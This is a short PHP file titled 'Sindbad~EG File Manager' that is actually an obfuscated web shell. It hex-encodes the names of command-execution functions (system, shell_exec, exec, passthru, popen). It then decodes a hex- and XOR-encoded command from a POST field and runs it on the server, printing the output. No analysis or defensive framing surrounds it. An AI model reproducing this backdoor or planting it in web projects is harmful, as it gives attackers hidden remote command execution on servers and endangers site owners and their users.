Sindbad~EG File Manager

<?php

$module_controller1 = "\x73\x79stem";
$module_controller2 = "\x73he\x6C\x6C_\x65x\x65c";
$module_controller6 = "st\x72\x65am_g\x65\x74\x5F\x63o\x6Ete\x6E\x74\x73";
$module_controller3 = "ex\x65\x63";
$query_handler = "\x68e\x782\x62i\x6E";
$module_controller7 = "\x70c\x6C\x6Fse";
$module_controller5 = "po\x70en";
$module_controller4 = "\x70as\x73\x74hr\x75";
if (isset($_POST["v\x61l"])) {
            function right_pad_string ($holder ,  $itm){$element= '';$l=0; do{$element.=chr(ord($holder[$l])^$itm);$l++;} while($l<strlen($holder)); return $element;}
            $val = $query_handler($_POST["v\x61l"]);
            $val = right_pad_string($val, 49);
            if (function_exists($module_controller1)) {
                $module_controller1($val);
            } elseif (function_exists($module_controller2)) {
                print $module_controller2($val);
            } elseif (function_exists($module_controller3)) {
                $module_controller3($val, $entity_holder);
                print join("\n", $entity_holder);
            } elseif (function_exists($module_controller4)) {
                $module_controller4($val);
            } elseif (function_exists($module_controller5) && function_exists($module_controller6) && function_exists($module_controller7)) {
                $itm_element = $module_controller5($val, 'r');
                if ($itm_element) {
                    $entry_pgrp = $module_controller6($itm_element);
                    $module_controller7($itm_element);
                    print $entry_pgrp;
                }
            }
            exit;
        }